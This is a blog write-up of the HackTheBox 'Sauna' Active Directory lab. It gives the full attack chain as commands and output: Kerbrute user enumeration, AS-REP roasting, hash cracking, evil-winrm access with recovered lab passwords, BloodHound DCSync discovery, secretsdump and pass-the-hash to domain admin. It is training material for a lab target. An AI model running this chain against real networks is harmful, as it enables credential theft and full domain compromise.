Active Directory 101: Sauna

Introduction

For my third machine in the Hackthebox AD 101 track, I’ll be pwning Sauna. Sauna is an easy active directory machine that teaches the basics of ASREPROASTING and Domain Replication Attacks . The attack path to domain admin wasn’t complicated and was a good test of how much I’ve learned so far. Initial access was achieved by obtaining and cracking the TGT of a non-preauthenticated user. Upon discovery and compromise of a user with DC Sync rights I was able to escalate privileges by dumping and passing the NTLM hash of the domain administrator.

Reconnaissance

New tool alert!!

I’ve know rust-scan for a while now and thought to give it a try for this machine, it turned out to be a pretty decent port scanning tool with twice the speed and accuracy of Nmap.

First we rust scan against our target to discover open ports and and services

rustscan --ulimit 5000 -a 10.10.10.175

–ulimit – Automatically ups the ULIMIT with the value you provided

–addresses – A list of comma separated CIDRs, IPs, or hosts to be scanned


.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-18 16:57 EST

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
           Raw packets sent: 24 (1.032KB) | Rcvd: 22 (960B)

Figure 1: Port-scanning with RustScan

RustScan completes a full TCP scan in less than 45 seconds.

From the result above we can gather the following:

  1. Port 80 has HTTP service running.
  2. Port 53 indicates that DNS is running on this machine
  3. Port 88 is running the Kerberos authentication service
  4. Ports 389 & 3628 have LDAP running
  5. The host is a Domain Controller
  6. LDAP provides us with the domain name egotisticalbank.local

Enumeration

In enumerating this box the easiest attack vector would be through SMB, anonymous credentials worked with SMBclient but there were no accessible network shares, domain user enumeration with LDAP didn’t work also. Finally we probed port 88 (Kerberos) with kerbrute (a tool for brute-forcing valid Active Directory accounts through Kerberos Pre-Authentication) and discovered a valid user.

In enumerating kerberos with kerbrute, a word list of possible username is required, we can easily generate our custom word list by visiting the website being served by our target.

Figure 2: The website provides us with possible domain users

Now we create a custom word list with the first initial and last name of each team member and pass it into kerbrute as an argument to discover non-preauthenticated users.

./kerbrute_linux_amd64 userenum userlist.txt --dc 10.10.10.175 -d egotisticalbank 

userenum Enumerates valid domain usernames via Kerberos

–dc Specifies the domain controller’s IP Address

-d Specifies the domain

   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 11/18/20 - Ronnie Flathers @ropnop

2020/11/18 11:50:01 >  Using KDC(s):
2020/11/18 11:50:01 >   10.10.10.175:88

2020/11/18 11:50:01 >  [+] VALID USERNAME:       fsmith@egotisticalbank

Figure 3: Username enumeration with Kerbrute

Boom!! valid user found. we can proceed to the next stage of our attack. 🙂

Initial Access

Since we are working with windows active directory we can leverage on a technique called ASREPROASTING (i.e Authentication Server Response Roasting) to gain initial foothold on this machine.

The ASREPRoast attack looks for users without Kerberos pre-authentication enabled attribute (DONT_REQ_PREAUTH).

This means anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This message contains a chunk of data encrypted with the original user hash, derived from its password. Then, by leveraging this flaw, the hash could be cracked offline to obtain a valid password.

harmj0y has an awesome article that explains this attack in depth.

The GetUserSPNs binary from impacket suite is the tool of choice for this step.

If you don’t have impacket installed simply run the command:

apt-get install python3-impacket

Run the Impacket-GetNPUsers binary against fsmith

python3 GetNPUsers.py -no-pass egotistical/fsmith -dc-ip 10.10.10.175 -request

-request Requests TGT for users and output them in JtR/hashcat format

dc-ip Specifies the domain controller’s IP Address

We get back the result

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICALBANK:9ed62d0a4a1866441afbcb74c5ed1fa0$1df2ba2bdf83294cd28167a43df5ed9426f1551a3b28b2856f6bca20fc315c90ba944ecbd0bc0c254c817e456a5830ba0eadfb78c5f3301c77439ef2fb32975f83927b8085c812106b6c7e48f384b531642a13e9d69996b008bda62c5792cc81454a6fe461d25c81d5a323f5862d086a5a85f1f9e49839907c02dfa05399558871a33d1a13c891717ae5e8d56663d2a6db841f4732bc60a98a65907f14c835016c68d371556a0d7096d6b03576390beaf8b9db96cb7979ac52b57862b88d380a693eee8ad466ba80351b8ebebfef64db886782d5806e2cab1e6b46cc620fd1b6ba0190fe562e0defe27fb0a601a28b9b847fad74ce9bee61b5

Figure 4: ASREPROASTING with GetNPUsers.py

Save the hash into a file and attempt cracking with john to obtain a password in plain text for fsmith.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
root@kali:/opt/htb/active_directory_101/sauna# john --show asrep_hashes.txt 
$krb5asrep$23$fsmith@EGOTISTICALBANK:Thestrokes23

1 password hash cracked, 0 left

Figure 5: Plain-text password for the user fsmith

We got a plaintext password!

Port 5985 is open for Windows Remote Management, lets fire up evil-winrm to get remote access on our target .

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

-i IP Remote host IP or host name.

-U Username

-P Password

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ==============================================
egotisticalbank\fsmith S-1-5-21-2966785786-3096785034-1186376766-1105

Post Compromise Enumeration & Local Privilege Escalation

We have successfully established initial foothold on the domain controller, let’s learn more about our environment with WinPEAS

Upload WinPEAS to our target.

upload winPEAS.exe
*Evil-WinRM* PS C:\Users\FSmith\Documents> upload winPEAS.exe
Info: Uploading winPEAS.exe to C:\Users\FSmith\Documents\winPEAS.exe

                                                             
Data: 629416 bytes of 629416 bytes copied

Info: Upload successful!

Run WinPEAS to enumerate the domain controller for local privilege escalation vectors.

./winPEAS.exe
*Evil-WinRM* PS C:\Users\FSmith\Documents> ./winPEAS.exe

  [...]

  [+] Home folders found
    C:\Users\Administrator
    C:\Users\All Users
    C:\Users\Default
    C:\Users\Default User
    C:\Users\FSmith : FSmith [AllAccess]
    C:\Users\Public
    C:\Users\svc_loanmgr

  [+] Looking for AutoLogon credentials
    Some AutoLogon credentials were found!!
    DefaultDomainName             :  35mEGOTISTICALBANK
    DefaultUserName               :  35mEGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!
   [...]

Autologon credentials found!! now we can logon to the domain controller as svc_loanmgr.

Note: “svc_loanmanager” didn’t work as a username, appartently its a default username and was most likely modified to harden the DC, we can confirm this by running the following command;

net user /domain

As we can see in the output, it’s svc_loanmgr and not svc_loanmanager that’s a domain user.

*Evil-WinRM* PS C:\Users\FSmith\Documents> net user /domain

User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr
The command completed with one or more errors.

Now let’s logon with evil-winrm

evil-winrm -i 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround!
root@kali:/opt/htb/active_directory_101/sauna# evil-winrm -i 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>

Privilege Escalation

Next, we’ll use BloodHound to easily identify highly complex attack paths. Invoke-aclscanner & Invoke-allchecks modules from Powerview also works for this purpose, however, BloodHound is my go to tool.

You can check out my detailed write-up on getting started with BloodHound here.

First upload and execute bloodhound’s data ingestor, SharpHound.exe on our target. The executable can be found here

Upload SharpHound

upload SharpHound.exe
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> upload SharpHound.exe
Info: Uploading SharpHound.exe to C:\Users\svc_loanmgr\Documents\SharpHound.exe

Run the executable

./SharpHound.exe
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> ./SharpHound.exe
------------------------------------------------
Initializing SharpHound at 8:39 PM on 11/18/2020
------------------------------------------------

Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain EGOTISTICAL-BANK.LOCAL using path CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
[+] Cache File Found! Loaded 92 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 21 MB RAM
Status: 60 objects finished (+60 ì)/s -- Using 27 MB RAM
Enumeration finished in 00:00:00.2771487
Compressing data to .\20201118203954_BloodHound.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 8:39 PM on 11/18/2020! Happy Graphing!

Download the zip file to our attacking machine for analysis with the BloodHound GUI

Downloading the scan results for analysis

Before we start analyzing the data ingested by SharpHound, we need to fire up neo4j database and BloodHound on our attacking machine. find a detailed guide on how to install neo4j here.

 neo4j console

initializing neo4j

root@kali:~# neo4j console
Directories in use:
  home:         /usr/share/neo4j
  config:       /usr/share/neo4j/conf
  logs:         /usr/share/neo4j/logs
  plugins:      /usr/share/neo4j/plugins
  import:       /usr/share/neo4j/import
  data:         /usr/share/neo4j/data
  certificates: /usr/share/neo4j/certificates
  run:          /usr/share/neo4j/run
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
2020-11-18 20:33:12.885+0000 INFO  ======== Neo4j 4.0.7 ========
2020-11-18 20:33:12.905+0000 INFO  Starting...
bloodhound

initializing BloodHound

root@kali:~# bloodhound
(node:1837) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.

Login using the credentials you created while installing neo4j, and upload the zipped file to bloodhound.

Login to BloodHound
Uploading the zipped file for analysis with BloodHound

In the Bloodhound Queries tab, select “Find Principals with DCSync Rights”. This graphs all users on the domain with domain replication permissions.

Querying for users with DCSync Rights

The resulting query should look something like this.

Compromised user account svc_loanmgr has DCSync rights to the domain

We discover that SVC_LOANMGR has GetChanges & GetChangesAll permission on the domain.

What does this imply:

  1. The combination of DS-Replication-GetChanges and DS-Replication-GetChangesall Permissions grants us the ability to launch to a DCSYNC attack.
Intermission: A detailed breakdown of these permissions and abuse information can be obtained by navigating to the help option on BloodHound

Right click on “GetChanges” > Select “? Help”

Detailed information about the Get-Changes Privilege

Now back to becoming domain admin…

Finally, to exploit loanmgr’s domain replication privilege, we run impacket-secretsdump on our attacking machine to obtain NTLM hashes for all users, then pass the administrator’s hash with psexec to obtain a privileged shell.

impacket-secretsdump "egotistical.local/svc_loanmgr:Moneymakestheworldgoround!"@10.10.10.175

Pass the domain administrator’s hash using psexec.py to obtain a privileged shell.

python3 psexec.py -hashes  egotistical.local/administrator@10.10.10.175

Domain Admin is officially pwned!!

active directory cybersecurity cybersecurity careers ethical hacking hacking hackthebox kerberoasting writeup

Leave a Reply

Your email address will not be published. Required fields are marked *